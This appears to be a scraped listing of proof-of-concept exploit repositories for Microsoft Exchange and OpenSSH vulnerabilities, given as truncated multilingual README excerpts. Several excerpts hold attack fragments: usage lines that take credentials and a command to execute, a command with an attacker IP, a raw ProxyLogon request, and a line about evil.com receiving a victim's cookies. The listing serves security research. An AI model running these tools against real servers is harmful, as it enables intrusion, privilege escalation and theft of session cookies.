PrivExchange

PrivExchange POC tools accompanying the blog Abusing Exchange: One API call away from Domain Admin. Requirements These tools require impacket. You can install it from pip with pip install impacket, but it is recommended to use the latest version from GitHub. privexchange.py This tool simply logs ...

CVE-2022-41040-metasploit-ProxyNotShell

CVE-2022-41040-metasploit-ProxyNotShell the metasploit scriptPOC about CVE-2022-41040. Microsoft Exchange are vulnerable to a server-side request forgery SSRF attack. An authenticated attacker can use the vulnerability to elevate privileges. preparation POC root@kitploit: git clone...

cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...

PowerPriv

PowerPriv DESCRIPTION A powershell implementation of PrivExchange by @dirkjan original code found here: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py Useful for environments on which you cannot run python-based applications, have user credentials, or do not want to drop fil...

cve-2020-0688

cve-2020-0688 Usage: root@kitploit: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD,...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read Research Blog python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

ProxyLogon-CVE-2021-26855-metasploit

ProxyLogon-CVE-2021-26855-metasploit CVE-2021-26855 proxyLogon exchange ssrf to arbitrary file write metasploit exploit script preparation root@kitploit: git clone https://github.com/TaroballzChen/ProxyLogon-CVE-2021-26855-metasploit cd ProxyLogon-CVE-2021-26855-metasploit mkdir -p...

CVE-2021-34473-scanner

CVE-2021-34473-scanner Scanner for CVE-2021-34473, ProxyShell, A Microsoft Exchange On-premise Vulnerability To test machines one by one, use scanner-CVE-2021-34473.bat: scanner-CVE-2021-34473.bat mail.exemple.fr To test multiple machines at once, use mass-scanner and add ip/FQDN to check, one by...

cve-2021-26855

cve-2021-26855 root@kitploit: GET /ecp/x.png HTTP/1.1 Host: 192.168.170.134 Cookie: X-BEResource=localhost1942062522 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:109.0 Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC PoC for the CVE-2022-41082 NotProxyShell OWASSRF Vulnerability Effecting Microsoft Exchange Servers This is Post-Auth RCE for ProxyNotShell OWASSRF, valid cardentials are needed for command execution. Added the Powershell PoC script for TabShell Vulnerability CVE-2022-41076 The...

ProxyLogon

ProxyLogon ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability,...

CVE-2021-42321

CVE-2021-42321 Microsoft Exchange Server の PoC パッチ:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...

Microsoft_Exchange_Server_SSRF_CVE-2021-26855

MicrosoftExchangeServerSSRFCVE-2021-26855 zoomeye dork：app:"Microsoft Exchange Server" Seebug 툴박스와 pocsuite3를 사용하여 작성된 스크립트 MicrosoftExchangeServerSSRFCVE-2021-26855.py, 약 1년 동안의 데이터를 탐지합니다: 성공률: 약 1500 / 5000 = 30%...

CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 취약점의 PoC로, Microsoft Exchange 서버에 영향을 미칩니다. 이는 ProxyNotShell OWASSRF에 대한 인증 후 RCE이며, 명령 실행을 위해 유효한 자격 증명이 필요합니다. TabShell 취약점CVE-2022-41076에 대한 PowerShell PoC 스크립트 추가 TabShell 취약점은 권한 상승의 한 형태로, OWASSRF를 통해 성공적으로 액세스한 후 제한된 PowerShell 샌드박스를...

ProxyVulns

ProxyVulns ProxyLogon Usage: python3 26855.py 1.1.1.1 ProxyOracle root@kitploit: Once a victim clicks this link, evil.com will receive the cookies...

CVE-2020-0688

CVE-2020-0688 Уязвимость удаленного выполнения кода в Microsoft Exchange Server возникает, когда сервер не может правильно создать уникальные ключи во время установки. Знание ключа проверки позволяет аутентифицированному пользователю с почтовым ящиком передавать произвольные объекты для...

Exch-CVE-2021-26855_Priv

Exch-CVE-2021-26855 ProxyLogon 是 CVE-2021-26855 的正式通用名称，这是 Microsoft Exchange Server 上的一个漏洞，允许攻击者绕过身份验证并模拟管理员。我们还将此漏洞与另一个需要认证的任意文件写入漏洞 CVE-2021-27065 串联，以实现代码执行。所有受影响的组件默认情况下都存在漏洞！ 因此，未经身份验证的攻击者可以通过仅开放的 443 端口在 Microsoft Exchange Server 上执行任意命令。 用法： root@kitploit: python ExchangeSheller.py...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server 원격 코드 실행 취약점 ProxyShell Exploit 재현 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 이것은 사이버 무기가 아니라 실험용 PoC입니다...

CVE-2019-1040

CVE-2019-1040 훌륭한 글입니다! CVE-2019-1040 악용 - 릴레이 취약점을 결합한 RCE 및 도메인 관리자 권한 획득 . 그래서, 저는 쉽게 사용할 수 있도록 CVE-2019-1040.py를 작성했습니다. 또한 제 exchange2domain 저장소를 확인해보세요: https://github.com/ridter/exchange2domain, Exchange를 사용하여 DC를 획득하는 또 다른 방법입니다. 요구사항 이 도구는 impacket이 필요합니다. pip를 사용하여 pip install impacket으...

ProxyShell

ProxyShell CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability. Эта некорректная нормализация URL позволяет нам получить доступ к произвольному backend URL при работе от имени учётной записи машины Exchange Server. Хотя эта уязвимость не так мощна, как SSRF...